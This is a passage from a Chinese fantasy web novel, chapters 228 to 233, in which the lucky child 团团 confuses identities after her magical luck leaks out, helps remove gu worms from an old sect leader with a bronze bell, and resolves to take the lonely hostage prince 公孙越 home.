那十几个气势汹汹的黑衣人,毫无反抗之力地离地而起,身形在风中扭曲、翻滚,被那恐怖的气流裹挟着,向四周高大的树冠抛掷而去!
“啊!”
惊叫声四起,他们一个个狼狈不堪地挂在了高高的枝杈间。
求生的本能让他们死死地抱住任何一根能触及的树枝。
巨风来得快,去得也快。
在最后一个黑衣人被“挂”上树梢的同时,狂风戛然而止。
于公公远远地看着这不可思议,无法理解的场景,脸色煞白。
烈国京城境内所有的人手今日竟全军覆没,再想动手已然没有可用之人了。
公孙越瞠目结舌,仰起头看着那些刺客。
天哪!难怪烈国人称宁王为战神,这是,有神仙护体啊!
难怪父皇让我来杀他,可是,他如此厉害,我怎么杀得了啊!
萧元珩毫不犹豫地按下机括,引燃了手中的信炮。
“咻——啪!”
一道红色的流光尖啸着冲上天空,炸开一朵小小的红云。
不过片刻,马蹄声雷鸣般由远及近。
萧宁辰一身戎装,率领着无数兵士疾驰而至。
团团大喊:“二哥哥!你来啦!”
萧宁辰冲着她笑了笑:“你在这里,我能不来嘛!等二哥哥收拾了这群废物,再过来跟你玩啊!”
说完,他指挥着人,将那些以各种稀奇古怪姿势躺在地上的黑衣人先绑了起来。
又费了一番功夫,把挂在树上的黑衣人如同摘果子一般,一个个全都揪了下来,捆得结结实实。
这才策马过来:“父亲!没事儿吧?”
团团应了一声:“我没事儿。”
萧宁辰一愣。
萧元珩摇了摇头:“将这些人全部送到刑部大牢,严加审讯!”
公孙越浑身一颤。
萧宁辰看着团团:“刚才没吓着吧?”
团团对着他甜甜一笑:“没有啊,安儿,你怎么来了?”
第228章 你的母妃是谁
众人全愣住了。
萧宁辰试探着问道:“团团,看清楚,我是谁?”
团团歪着小脑袋看着他:“你是安儿啊,我怎么会不认识你呢?”
萧宁辰懵了:“那你是谁?”
团团很认真的回道:“我是你的……那个怎么说来着?哦,你的夫君啊!”
公孙越目瞪口呆,团团!这都什么乱七八糟的!安儿,不是你娘亲吗?
萧宁辰看向父亲:“父亲,团团这是怎么了?”
“父亲?”团团回头看着萧元珩:“你是安儿的父亲?那我的爹爹呢?”
萧元珩被她左一句安儿,右一句安儿说得额头青筋突突直跳。
“我就是你爹!”
团团看着他,非常迷惑:“你不是安儿的爹吗?怎么又是我的爹了?”
她伸出小手,想将萧元珩置于马鞍上的大刀提起来。
可她的力气太小,两只小手一起用力都没能提起来。
当啷一声,大刀掉在了地上。
团团看了看,有些尴尬,举起两只小手,对着面前的兵士们不停挥舞:“你们今天都很厉害!是我战神的兵!该回家吃饭啦!”
所有人都是一脸莫名其妙。
“咳咳,”萧元珩嗽了嗽嗓子:“回营!”
众人齐声大喊:“是!”
团团回头看他:“安儿他爹,为什么他们听你的不听我的呢?”
萧元珩无奈扶额,把她往怀里一搂:“咱们也回府。”
萧宁辰明白过来:“父亲,团团这是,又气运外泄了?”
萧元珩点了点头:“应该是,问题不大,只是又得撑上一日才能恢复了。你先回去,我带她回府。”
“是!”萧宁辰领兵而去。
气运外泄?
公孙越抓住了关键:“请问宁王,团团为何会这样啊,她什么时候才能好呢?要不要给她请太医啊?”
萧元珩看着他,目光深邃:“不必,她只需一日便会无事。”
他直接道破:“团团在大夏时,你们大夏的国师巫罗设梦中局想将她的气运据为己有,反被团团将他的修为全部吸走。”
“但那些修为团团无法掌控,所以,你方才看到的巨风破敌,便是她气运外泄所致。”
“竟然是团团?”公孙越惊呆了。
原来不是宁王有神明护体,而是他有团团护体啊!
团团,难怪都称你为仙使,巫罗你竟然都能打败!
那你是否也能救我脱离苦海?
他的眼中光芒大盛,绽放出异样的光彩。
萧元珩紧盯着他,这个质子看来与巫罗关系颇深啊,提到巫罗败给团团,他仿佛突然便不同了。
“萧二!送殿下回去!”
“是!”
公孙越看着团团,一脸担忧:“团团,你好好回家歇着啊。”
团团看着他:“小子,我是战神萧元珩!不是团团!”
公孙越一噎:“哦,好,战神,我走啦!”
团团老神在在地摆了摆手:“珣儿,带这个小子去看看眼睛,怎么人都认不清楚。”
萧二愣了半晌,我吗?
他一脸迷茫地看向萧元珩。
萧元珩冲着他无奈点头。
萧二带着公孙越转身走了。
“安儿她爹,怎么还不走?我肚子都饿了。”团团嘟着嘴。
萧元珩叹了口气:“走,这就走。”
回到王府,程如安张开手臂刚想抱抱女儿。
团团背着小手:“郭太医?你来干嘛?”
程如安一愣,郭太医?她四下看了看,没有啊!
萧元珩急忙给他解释了一遍,程如安哭笑不得。
团团看着萧元珩:“安儿他爹,你今日是要住在我这里吗?”
“是啊,我今日就不走了。”萧元珩无奈,只能顺着她说。
程如安吓得不轻,瞪大了眼睛,王爷何时成我爹了?
萧元珩冲着她摆了摆手:“随着她吧,横竖熬上一日就过去了。”
团团将刘嬷嬷认成了大哥:“远儿,你怎么看着比我都老啊?”
冲着雪衣喊:“辰儿,你蹲在架子上做什么?”
所有人都配合着她,王府里乱成了一团。
终于,熬到了睡觉前。
团团大模大样地走到父母的寝室,往床上一躺:“安儿不在,我只好一个人睡啦!”
程如安羞红了脸颊。
终于,团团睡着了。
夫妻两人站在床边看着她,同时长长地呼出了一口气。
程如安望着丈夫:“你我去哪里?”
萧元珩揽住妻子,看着她微笑道:“随便哪一处吧!幸好府中地方足够。”
二人相视一笑。
质馆中。
萧二将公孙越送回时见到了于公公。
于公公满脸堆笑:“有劳了。”
萧二看了他一眼,告辞而去。
公孙越提心吊胆,今日自己提醒宁王的那声大喊,他听见了吗?
见于公公提笔将今日所见丝毫不漏地全写在信中,并未提及此事,
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这才放下了心。
看来当时一片混乱,他又离得远,所以并未听到。
当夜,他躺在床上翻来覆去无法入眠。
眼前全都是今日那些不可思议的场景。
耳边不停地回荡着萧元珩的话。
巫罗竟然败在团团的手里!难怪离开天启城时,父皇没有让我去见他,说他正在闭关。
团团,你既有如此神通,是否愿意帮帮我呢?
这么多年了,我一个人苦苦支撑,从未对任何人抱过希望。
我能指望你吗?
可我是大夏人啊!还背负着杀掉宁王的任务。
他左思右想,时而兴奋,时而沮丧,辗转难眠。
次日,团团恢复了正常,所有人都松了口气。
哄着一个超小号战神实在是太难了。
隔日,公孙越来到了王府。
程如安给他们两个亲手做了甜羹,让他们一起吃。
两个小团子坐在一起,你一口我一口地吃得无比香甜。
公孙越叹了口气:“团团,你娘亲一直陪着你,真好啊。”
团团奇怪:“你跟你母妃不在一起吗?”
公孙越一脸黯然:“母妃地位低微,我不能和她住在一起,只有年节时才能见上一面。”
“啊?小越越,你好可怜啊!那你为什么不把她从皇宫里接出来呢?那个破皇宫,有什么可待的啊。”
“接出来?”公孙越手中的小勺一顿。
随即脸色黯然:“不行的,团团,父皇的后妃们,都是非死不能出的。”
“非死不能出?”团团很认真地想了想:“那好办啊!小越越,让你的母妃装死呗!那不就行了!”
“装,死?”公孙越眼睛一亮,是啊!如果,母妃装死,骗过父皇,不就能出来了?
她本来就不喜欢那里,要是能出来,在外面自由自在的活着,跟我在一起,那该有多好!
他想出了神,全然没有注意到,宁王进来了。
团团看到爹爹,开心地扑上去:“爹爹!”
萧元珩抱起女儿,坐到了公孙越的对面。
“殿下,本王有事问你。”
公孙越心头一凛,起身行礼:“是,宁王请讲。”
“坐。”萧元珩看着他:“那日你出言示警,本王还未谢你。”
公孙越连忙摆手:“不,不用。”
萧元珩目光变得凌厉:“据本王所知,云妃之子九年前便已夭折,此后也并未再生育。请问殿下,你的母妃是谁?”
第229章 破烂堆里的一个破烂
公孙越急忙回道:“王爷!我确实不是云妃娘娘的亲生儿子,那位皇兄早就不在了。”
“我的生母,只是宫中一位早已病故的宫女而已。”
“云妃娘娘,她心很好,见我体弱多病,受人欺凌,才将我养在身边。在我心里,早就视她为生母了。”
“父皇说,让我以‘云妃之子’的身份来烈国,只是为了面子上好看些。”
他心中砰砰直跳,这是当日临走时,父皇教给他的说辞。
萧元珩看着他,不置可否。
这话听上去天衣无缝,却依然未能解释清楚他为何只有姓名而无母妃和排行这个漏洞。
看起来这套说辞他早已了然于胸。
越是准备得充分,越是说明这里面定有玄机。
团团听了很是心疼:“小越越,原来你的母妃不是你亲生的娘亲啊!”
公孙越心里一疼,是,我却不能认啊。
他点了点头,心里堵得难受。
萧元珩继续问道:“那日咱们去打猎,你是否同何人说起过?”
公孙越心跳如擂鼓。
他故作思索:“有的,我回去以后,同于公公讲过。”
“就是质馆里的那个太监?”
萧二那日送他回去后,早已将质馆中的一切禀告过了。
公孙越点点头:“对,就是他。他叫于尽忠,是奉父皇的旨意跟我来的,原本是宫中的内常侍,父皇很相信他呢。”
“我在这里过得怎样,做了什么,都是他往大夏传信告知父皇。”
萧元珩看着他,莫非,是那个太监谋划了那天的刺杀?
公孙越说完便垂下了头,唇角微微勾起。
于公公,若宁王查到你头上,就请你自求多福吧。
团团听闷了:“爹爹!你说完了吗?我还要跟小越越去喂鱼呢!”
萧元珩笑了:“玩些别的吧,别惦记那些鱼了,你们俩没轻没重的,鱼都被你俩喂得快撑**,这几天都别去喂了。”
他把女儿放到地上:“去吧,出去玩吧。”
“好嘞!”团团拉着公孙越的手就往外跑去。
萧元珩看着两人的背影:“萧二!派人,盯着那个于公公!”
“是!”
次日,一封给团团的拜帖送到了宁王府。
萧宁珣打开一看,是苏玉衡邀请团团晚间至碎金阁用膳。
“这个苏玉衡怎么就盯上了团团呢?”
萧宁远凑过去看了一眼:“不过,他上次送的信确实有用。这次又想做什么?”
萧元珩道:“上次他露面就是你们两个在场,今晚还是你们俩陪着团团去,带上萧二。”
“是,父亲。”
当晚,碎金阁雅间,团团点了一大桌子菜,刚刚开始吃,苏玉衡如约而至。
几个大人简单寒暄了几句,苏玉衡看向团团:“郡主,你果然没让苏某失望。”
团团一愣:“哦,你说上次你送的那封信吗?”
苏玉衡点点头。
团团嘿嘿一乐:“跟我没关系啊,我都看不懂那上面写的是什么,你以后有信别给我,给我哥哥们就行啦!”
萧宁珣摸了摸她的小脑袋:“真乖,吃吧。”
“嗯!”团团继续低头干饭。
苏玉衡微微一笑:“上次苏某不过是投石问路,我信得过郡主,但对旁人却仅仅是有所耳闻,故而未敢轻信。”
他对着兄弟二人抱拳:“是苏某失礼了,得罪,得罪。”
二人还礼:“无妨。”
萧宁珣单刀直入:“苏少阁主,天机阁既涉私物坊一案,你身为局中人,为何又要自揭其秘?”
“既然上次你送信,意在投石问路,如今结果已明。为何今日仍要邀请我妹妹,不知少阁主究竟意在何为?”
苏玉衡脸上笑意敛去:“实不相瞒,苏某今日,是有一事相求。”
兄弟二人对视了一眼。
萧宁远道:“我以前常年在外行商,也算行走过江湖。江湖人皆道‘天机阁中观星斗,掌上乾坤尽在手’。”
“论消息之灵通,人脉之深远,苏少阁主可谓执江湖之牛耳。不知何事竟能求到我宁王府?”
苏玉衡直视二人:“今日之天机阁,已非昔日之天机阁,早已身不由己。”
萧宁远震惊了:“为何如此?”
苏玉衡迟疑片刻,长叹一声:“阁中诸多悖逆之事,实非我本愿,皆因受制于人,不得已而为之。”
“我自揭其秘,实在是因为,若长此以往,天机阁数十年的基业,必将毁于一旦。”
“不但我天机阁,这天下恐怕都要战乱四起,生灵涂炭。”
“苏某虽不才,却也不敢做这祸乱天下,陷黎民于水火的千古罪人。”
萧宁珣的眉头皱了起来,战乱四起?
苏玉衡目光恳切地看向团团:“郡主为民求雨
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,召唤金龙,可谓神通广大,故而,苏某才想请郡主出手。”
团团抬起头看着他:“干什么呢?”
“救一救我那被蛊虫操控,生不如死的父亲。”
“若郡主能救得家父脱困,我天机阁上下愿从此奉郡主号令,赴汤蹈火,在所不辞!我那日将总令牌送给郡主,便是以表诚意。”
蛊虫?
团团小脸皱成一团:“又是那个破顶?”
萧宁珣接口:“幽冥顶。”
苏玉衡面露惊讶:“你们知道幽冥顶?”
团团挥舞着小拳头:“知道啊!就是他们害爹爹生病的!用那个破虫子!他们还害了书珺姐姐!”
萧宁珣问道:“苏少阁主的意思,是说幽冥顶因天机阁之能,用蛊虫毒害了老阁主,让你们听命于他?”
苏玉衡点了点头:“正是如此!”
“听郡主所言,莫非宁王也曾身受其害?”
团团点了点头:“对啊!他们害得爹爹刚醒过来的时候,什么都不知道,都不让我碰!”
苏玉衡急忙追问:“不知宁王是用什么方法摆脱了那蛊虫?”
“用铃铛啊!”
“铃铛?”
团团得意了:“对啊!我捡到的小铃铛!可厉害啦!”
苏玉衡猛地站起:“郡主,不知是否可将那铃铛借我一用?”
团团点了点头:“可以啊!”
苏玉衡深深一礼:“多谢郡主。”说完便眼神急切地看着兄妹三人,显然迫不及待地想拿到铜铃。
天大的事也不能耽误团团吃饭!
萧宁珣道:“请苏少阁主稍坐,待我妹妹吃完,再同我们一起回府。”
苏玉衡“……”
半晌后,苏玉衡跟着兄妹三人走入宁王府,来到了团团放破烂的屋子。
苏玉衡一脸震惊的看着一屋子的破烂:“那宝物在,在这里?”
团团兴高采烈:“对啊!你看,这都是我捡来的宝贝哦!娘亲特意给了我这间屋子呢!”
“小铃铛,你在哪里呢?”
团团四处翻找,最后在一个角落中,翻出了一个落满灰尘,毫不起眼的小铜铃。
她一把抓起,满意地点了点头,走到苏玉衡面前举起来:“喏,就是这个啦!”
苏玉衡脸上神情僵硬:“郡主,你没有搞错吧,这个就是,能破那蛊虫的宝物?”
这分明就是破烂堆里的一个破烂嘛!
第230章 呀!闯祸啦!
团团很奇怪:“对啊,这本来就是我捡到的一个破烂嘛!怎么了呢?”
苏玉衡脸上的神情几乎就要碎掉了。
萧宁珣忍着笑道:“苏少阁主可别小看了我妹妹捡的破烂,她的这些破烂啊,可真的都是宝物呢!”
我还没告诉你,连那求雨的龙鳞,都是团团在碧波池底捡来的呢!
苏玉衡接过那铜铃,翻来覆去地看了看:“不知这宝物该如何使用?”
团团更奇怪了:“你没玩过铃铛吗?”
“啊?玩,玩过。”
“那不就行啦!你就摇摇摇,蛊虫就出来啦!”
苏玉衡只觉得自己的脑子有些不够用了:“就,摇它就行了?”
“对啊!”
苏玉衡一脸茫然。
萧宁珣给他解释:“苏少阁主将这个铃铛,放在令尊身边不停摇动,那蛊虫听到会便会现形。”
“将其诱到手背处,用刀尖捅破手背,蛊虫便能出来了。”
“然后,将黑血挤净,包扎好伤口。”
苏玉衡恍然大悟,看着铜铃的目光瞬间变得虔诚:“原来如此!多谢了。”
他对着团团和萧宁珣深深一礼:“苏某感激不尽。”
团团看着他:“快去救人吧!用完了还给我啊!”
苏玉衡道:“一定!郡主请放心!苏某告辞。”
说完,匆匆离去。
团团跑到父母的屋内,她每天睡前都要和爹娘黏糊一会儿才肯去睡觉。
萧元珩看到她就开心,笑着将她抱起来,玩她最喜欢的举高高。
程如安微笑地在一旁看着。
玩了一会儿,萧元珩抱着女儿坐下。
“团团,前几日大夏传来消息,说巫罗自你走后便一直在闭关。这个国师阴险狡诈,待他出关,又不知道会搞些什么,你一定要小心。”
“哦,什么叫闭关啊?”
“我也不太清楚,他的修为才刚被你吸走,应该是想尽办法在恢复吧。”
团团笑了:“那我希望,他一直都闭着,永远别出来。”
萧元珩朗笑道:“哈哈哈,团团说得对!时候不早了,快去睡吧,明日再玩。”
“好嘞!”团团跑到程如安面前,在她的脸上亲了一下:“娘亲,我去睡啦!”
程如安微笑:“快去吧。”
团团躺在床上,想起了父亲的话,喃喃自语:“坏蛋国师!”
她闭上了眼睛,睡着了。
咦,这里,不是那个坏蛋国师把我关起来的地方吗?
我又做梦了吗?
怎么到了这里啊。
团团转过身,一眼便看到了巫罗。
他正盘膝坐在一个复杂的黑色阵法中央。
那里有一个三角形的图案,三盏长明灯各守着图案的一角,空气中弥漫着香料和草药混合起来的怪味。
他双目紧闭,周身的黑气围着他缠绕游走。
在他头顶上,一团幽暗的光球正在缓缓转动。
光球之中,隐约可见一个与他样貌相同的黑影也在盘膝而坐,正在逐渐变得清晰、凝实。
巫罗的嘴角微微上扬,脸上露出一抹狂喜。
这正是自己修为即将恢复的关键时刻!
只差最后一步了,跨过这一步,他不仅能尽复旧观,甚至还能借此机会更上一层楼!
团团走到他面前:“喂!坏蛋国师!你是在闭关吗?”
巫罗一怔,头上的光球停止了旋转。
他睁开眼睛,万分惊讶地看着面前站着的小团子:“怎么是你?你怎么能进来这里?”
团团吓了一跳:“你听得见我说话?以前我做梦遇到的人,都看不见也听不见我,你好厉害啊!”
她看着巫罗头上的光球:“这里面的小人儿跟你长得一样呢!他是谁啊?”
那是我修行的本体!
巫罗心急如焚:“那只是个幻影,没什么用。你在做梦是吗?快去别处玩吧。”
他心里一急,光球中的黑影便淡了几分。
团团歪着小脑袋看着那黑影:“他为什么没有刚才那么好看了呢?”
废话!还不是因为你在打扰我嘛!
巫罗强压怒火,试图哄骗她:“他需要安静才能变好看啊。你快去别处玩,不要打扰他。”
团团好奇地看着光球,伸出一根小手指
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轻轻一戳。
光球应声碎裂,黑影发出无声的惨嚎,瞬间消散。
巫罗猛地喷出一口鲜血,整个人萎顿在地。
团团吓了一跳:“我不是故意的啊!”
巫罗看着她,喘着粗气,一句话也说不出来。
呀!闯祸啦!
团团转身就跑,脚下一绊,摔了下去,“哎呀!”
她醒了,迷迷糊糊间还在想,怎么会梦到他呢,真奇怪。
翻了个身,她又睡着了。
次日,天启城,格桑宫。
公孙驰正在看于公公的信,刺杀宁王未果,因为天降神迹。
神迹吗?萧元珩,你何时也有神迹了?
定是你那个仙使女儿吧。
无妨,巫罗今日便可出关了,待他出关,你那个仙使女儿的末日便也到了。
一名内侍匆匆走入:“陛下!国师府急报!”
“讲。”
“来人说,国师大人昨夜修行时走火入魔,呕血不止,伤势极重!原本今日出关,如今是万万不能了!”
废物!
公孙驰摆了摆手,内侍慌忙退了出去。
他沉吟良久,提笔写下一封书信。
“将信交给于尽忠,给烈国京城那边再送几个商队过去。”
“遵旨!”
两日后,苏玉衡直接来到了宁王府,下人将他引到了前厅。
萧宁珣以为他是来归还铜铃的,领着团团走了进来:“老阁主可安好了?”
苏玉衡神情疲惫:“这两日,苏某于家父榻前尝试了无数次,不同的时辰,不同的快慢,但那蛊虫,却完全未露踪迹。”
“那铜铃,在苏某手中,与寻常铃铛无异。”
萧宁珣惊讶:“当真?”
苏玉衡点头:“千真万确!我苦思冥想,莫非,此等宝物,并非人人可用?”
“它既是郡主之物,难道唯有郡主亲临,方能有效?”
萧宁珣想了想:“不对,宫中有位太医也曾经用过,效果与团团用时并无区别。”
苏玉衡茫然了:“这……苏某便真不知道该如何了。”
团团看着他:“那我去看看呗。”
第231章 很好摸的样子
萧宁珣带着团团,跟着苏玉衡一起走进了京城的一个院子里。
院子中规中矩,隐匿在一排相似的院落中,毫不起眼。
苏玉衡道:“这里除了天机阁总舵的几个人外,无人知晓。”
萧宁珣点了点头,大隐隐于市,看来天机阁深谙此道。
几人走入老阁主的寝室。
寝室中摆设简单,床,屏风,香炉,炭盆和一套桌椅,桌子上摆放着一套茶具。
一个头发花白,精神矍铄的青衣老者从桌边站了起来:“衡儿,这几位是?”
萧宁珣一怔,这是,老阁主?
苏玉衡连忙过去扶住老者:“父亲,这是宁王府的三公子和小郡主,二位,这位便是家父,苏哲厚。”
苏哲厚面带微笑:“原来是贵客登门啊,快,请坐。”
团团的目光落在苏哲厚胸前飘着的一把长髯上。
这个老爷爷看着挺可爱的嘛,胡子长长的,很好摸的样子。
她笑着喊了一声:“苏爷爷,你好啊,我是团团。”
苏哲厚低头看着她:“团团?好可爱的小娃娃啊!你就是宁王府的嘉佑郡主?来,快来,坐爷爷身边。”
“谢谢苏爷爷。”团团笑眯眯地坐到了他身旁。
萧宁珣一脸疑问地看着苏玉衡,老阁主看起来很好,并无不妥啊!
苏玉衡冲着他微微摇头。
苏哲厚吩咐下人:“来人!快摆饭!都什么时辰了?客人来了这么久,别把小娃娃饿坏了。”
兄妹二人俱是一愣,我们才来啊!现下也不是该用饭的时辰啊!
下人进来了:“老阁主,您才刚用过饭啊。”
苏哲厚老脸一板:“胡说!我都饿坏了!快摆饭!我还要招待客人呢!”
苏玉衡摆了摆手,下人显然已经见怪不怪,应了一声便退了出去。
兄妹两人有些明白了。
苏哲厚问团团:“老夫听闻你是帝师的关门弟子,如今学到哪一本书了?”
怎么人人都问!
团团瘪了瘪嘴:“苏爷爷,我还小呢。”
苏哲厚哈哈大笑:“看来团团不喜欢读书啊!”
他瞥见了角落里的炭盆,皱起了眉头:“这么热的天,烧这个东西做什么?来人!快撤下去!”
大冬天撤炭盆?
苏玉衡连忙道:“父亲,您刚刚大病了一场,这是大夫让给您备上的。”
苏哲厚一脸茫然:“啊?我什么时候病的?什么病啊?”
他低头思索,渐渐地,面露痛苦之色,抬起双手捧住了头:“我怎么想不起来呢。”
苏玉衡见状急忙将他扶到床边躺下,给他盖好被子:“父亲,您睡吧,儿子在这里守着您。”
萧宁珣将妹妹揽在怀里,在她耳边轻声道:“别怕,团团。”
团团瞪着大眼睛看着,苏爷爷好奇怪啊!
不多时,苏哲厚便沉沉入睡。
苏玉衡走到桌旁:“二位看到了?我父亲如今便是这样。”
萧宁珣点了点头:“还未问过少阁主,如何得知的蛊虫一事。”
苏玉衡嘴角一扯:“是幽冥顶的人告诉我的。”
萧宁珣猛地站起:“你见过幽冥顶的人?”
苏玉衡点了点头:“家父首次发病,我便请来了江湖上最有名的回春手墨神医来给他诊治。”
团团眼神一亮:“神医爷爷?”
“郡主与墨神医相识?”
“对啊!神医爷爷也治不好吗?”
“墨神医说,此非病症,也不是**,要找到病因方能医治。”
“之后,家父的病情便越来越差,有时甚至连我都认不出来了。”
“有一日,一个戴着青铜面具的人突然出现在我面前,说他是幽冥顶的人,家父的病症,正是中了他们的蛊虫。”
“若想要家父继续活着,天机阁便须听他们的号令行事。”
“他给了我一颗药丸,让我给家父服下,说可保他每日都能清醒几个时辰,且不会再恶化。”
他回头望向榻上的父亲:“万般无奈之下,我只得遵从。”
“我暗中命人查访,竟查不出幽冥顶的半点底细。”
“眼看其种种行径渐渐深涉朝堂,万不得已,才想到了求助嘉佑郡主。”
他目光诚恳地看着团团:“望郡主援手,助我天机阁重获自由!”
萧宁珣摸了摸团团的小脑袋:“团团,你想想,怎么能帮帮他?”
“我的铃铛呢?”
苏玉衡急忙从怀中掏出了那个小铜铃,递给了她。
团团走到熟睡的苏哲厚身旁,轻轻摇起了铃铛。
萧宁珣和苏玉衡也急忙走到床边
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。
“叮铃,叮铃。”
铃声细小清脆。
萧宁珣仔细盯着苏哲厚,铃声不停轻响,但苏哲厚却无任何异常。
团团奇怪地看了看手里的铃铛:“小铃铛,你怎么不灵了呢?”
苏玉衡的脸色黯了下去:“郡主亲自动手,竟也是不行吗?”
团团将铜铃放到自己耳边,慢慢地、轻轻地摇晃了几下。
“叮铃,叮铃。”
她闭着眼睛倾听,片刻后,放下了铃铛,对着哥哥和苏玉衡“嘘”了一声。
二人点了点头,一脸狐疑。
团团在屋子慢慢地走来走去。
她的脚步很轻,将屋里除了炭盆外的每一件事物都贴上去听了一遍。
萧宁珣和苏玉衡都下意识摒住了呼吸,不敢出声,生怕打扰到她。
团团走到桌旁,听了听桌椅,目光落在了那套茶具上。
她伸出小手,将茶杯一一拿到耳边,听了听后又放了回去。
最后,两只小手捧起了茶壶,贴在了小耳朵上。
突然,她眼睛一亮:“找到啦!”
说完,她将那茶壶高高举起,狠狠地朝着地上摔去!
“啪嚓——!”碎片与茶水四溅开来。
团团满意地掸了掸小手,走回床边,拿起了铜铃。
“叮铃……叮铃……”
清脆的铃声再次响起。
这一次,苏哲厚两侧的太阳穴下,迅速浮现出两条细线!
“出来啦!“团团开心地大喊。
“两条?!”苏玉衡失声惊呼,脸色瞬间变得惨白。
他万万没想到,父亲体内竟被种下了两条蛊虫!
“三公子,助我!”
萧宁珣会意,两人上前一步,待两条蛊虫游动到苏哲厚的手背,一人一边,紧紧握住了他的手腕。
蛊虫在手背上薄薄的皮肤下清晰可见。
苏玉衡拔出**,眼疾手快,在两只手背上各划开一道小口。
那两条蛊虫顺着乌黑的血液流了出来,色彩斑斓,身上还有一圈一圈的纹路,诡异至极。
它们扭动了片刻,再无声息。
二人不敢停歇,急忙挤净毒血,将手背上的伤口包扎完毕,这才长长地舒了口气。
萧宁珣问道:“团团,那个茶壶怎么了?为何摔碎它铃铛便有用了?”
第232章 你想去传吗
“啊!我差点儿忘了。”团团哒哒哒跑到桌子旁,从地上捡起了一块茶壶的碎片,放进了绣囊。
苏玉衡见状忙问:“郡主是要将这碎片带回去琢磨其中关窍?”
团团一脸奇怪:“我琢磨它做什么?它都碎了,你还要吗?”
苏玉衡一怔:“不,不要了。”
“那不就行啦!我捡走啦!”
苏玉衡“……”
团团看向萧宁珣:“三哥哥,这个茶壶啊,它一直发出嗡嗡嗡的怪声音,所以小铃铛才不灵了。”
“我把它摔碎了,让坏虫子能听到小铃铛的声音,它们就出来啦!”
萧宁珣恍然大悟,随即猛地转头看向苏玉衡:“少阁主,这个茶壶从何而来?”
苏玉衡马上明白了:“来人!”
下人匆匆走入:“少阁主,有何吩咐?”
“这个茶壶从何而来?”
下人这才看到地上的一片狼藉:“哎呦,怎么摔碎了?老阁主可要心疼了!”
“这个茶壶,是老阁主逛街时偶然看到的。”
“老阁主原本便喜欢这些,一看便爱不释手地买下了。”
“哪家店铺?”
“不是店铺啊,少阁主,只是个摊子,那摊主说,这是他家传之物,因家中艰难,才拿出来卖,换些银钱度日。”
“可还记得那摊子在哪里?”
下人想了想:“离这里倒也不远,就在路边。可是少阁主,人家又不是做生意的,自己家中的物件,卖完了岂会再来?”
苏玉衡摆了摆手:“下去吧。”
他看着萧宁珣:“厉害,当真厉害,竟这么早就预备下了,还做得这般滴水不漏。”
他抱拳行礼:“今日多亏了三公子和小郡主仗义相助。天机阁从此以后,愿奉郡主为天机阁的玄机令主!”
“天机阁上下所有人等,见玉牌如见令主,莫敢不从!”
团团拉了拉萧宁珣的袖子:“三哥哥,令主很大吗?”
萧宁珣笑道:“很大,非常大哦!”
“好诶!我当令主啦!三哥哥!”团团高兴地抱住了他。
苏玉衡看着仍在熟睡的父亲,有些担忧:“郡主,我父亲他,为何还未醒来?”
“我不知道捏!”
“啊!对啦!神医爷爷就在我的女子监里当先生,你可以去那里请他再过来看看啊。”
“女子监?”
萧宁珣连忙解释了一下女子监为何物,位于何处。
苏玉衡看向团团的眼光更是不同:“难怪连墨神医那般的人物,都甘愿为郡主效力。小小年纪,却能尽己之能,造福苍生,苏某拜服!”
团团看着萧宁珣:“三哥哥,他说的是我吗?”
苏玉衡脸上一僵。
萧宁珣忍住笑意:“是啊!他是在夸你呢!”
团团仰起头:“多谢你啊!我回家啦!”
苏玉衡将二人送至门口,兄妹俩登上马车回到了王府。
团团发现公孙越没有来:“小越越呢?他怎么没来?”
萧二回道:“会不会是,病了?”
团团一听便急了:“二叔叔,你知道小越越住在哪里吗?我要去看他!”
萧二禀告过程如安后,带着团团来到了质馆。
推开门,院子里空荡荡的,没有任何精致的花草,只有两棵干枯的老树立在墙角,毫无人气,安静得像座祠堂。
走入屋内,家具一应俱全,但样式古旧,漆色暗沉。
团团的眉头顿时皱了起来。
于公公听到动静迎了出来,一见到是团团,马上行礼,脸上堆起了谄媚的笑容:“哎呦喂,这不是小郡主吗?郡主身份尊贵,今日怎么来这质馆了?”
萧二见过他:“于公公。”
团团看着他,这个家伙脸上的笑真假啊!还不如不笑呢。
“小越越呢?我来找他。”
于公公有心阻拦:“殿下昨夜梦魇,今晨疲惫,才刚睡下,实在不便探望。”
“郡主还是请回吧,待殿下醒来,老奴定会禀明郡主曾来看望。”
萧二一看见他这套就明白了:“我家小姐特意前来,岂可不看一眼便走?你带路就好,不必多言。”
于公公无奈:“二位请随我来。”
两人随着他走进
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了公孙越的寝室。
屋子里冷冰冰的,角落的炭盆半点火星都没有,萧二走到桌边摸了摸,茶壶也是冷的。
公孙越躺在床上睡得正香。
昨夜他想着母妃,琢磨着如何才能让她假死离开大夏,翻来覆去折腾了一宿,今晨才勉强入睡。
于公公快步走到床边,想将他叫醒。
团团道:“你让他睡,别喊他。”
于公公躬身低头:“是,郡主,那老奴去烧水给二位沏茶。”说完转身出去了。
团团在屋里走了一圈,不高兴了。
小越越怎么住在这样的地方啊!
又小,又冷,什么好玩的都没有。
他娘亲还不在身边,简直是太可怜了。
不行!我要把他带回家去!
让他吃的住的都跟我一样!
他娘亲不在,我在!
团团走到床边,轻轻喊道:“小越越!小越越!”
公孙越睁开了眼睛,看到团团还以为在做梦:“团团,团团?”
团团笑了:“是我啊!”
公孙越一惊,彻底清醒了:“你怎么来了?”
“我来看你啊!快起来!跟我去王府!”
公孙越有些黯然:“团团,我很累,今日就不去了。”
于公公端着茶走了进来:“殿下醒了?小郡主来看你,都等了好一会儿了。”
团团直接吩咐:“你帮小越越把他的东西带上,我要带他回我家去住,以后就不回来了。”
公孙越一惊:“你让我去宁王府住?”
团团道:“对啊!这里这么小,这么冷,什么都没有,住在这里很好玩吗?走,以后你就住我家,咱们天天都可以在一起啦!”
公孙越的目光下意识飘向了于公公。
于公公一听,那怎么行!
若是以后住在宁王府,再想去见大夏来的人岂不是麻烦多多?
他急忙道:“多谢郡主厚爱,只是殿下身为大夏皇子,若客居王府,于礼不合。倘若此事传回大夏,恐生事端……”
团团直接打断了他:“那就别传回去呗!怎么,你想去传吗?”
第233章 我的官最大
于公公一噎,陪笑道:“老奴自然不敢。”
“那不就行啦!”
于公公:“……”
于公公满眼都是话地看向公孙越:“郡主,想必殿下,也是不愿的。”
团团一脸奇怪地看着公孙越:“小越越,你不愿意住我家吗?”
公孙越目光闪烁。
当然愿意!若是住到王府去,于公公对自己的威胁便小了许多,再不能像从前那般死死地盯着我,时刻逼迫我了。
他故意做出为难的样子,眼神却偷偷地瞄向于公公。
团团盯着他,明白了,小越越怕这个于公公!他对小越越一定很不好!
小越越一个人孤零零的,这个坏公公还欺负他!
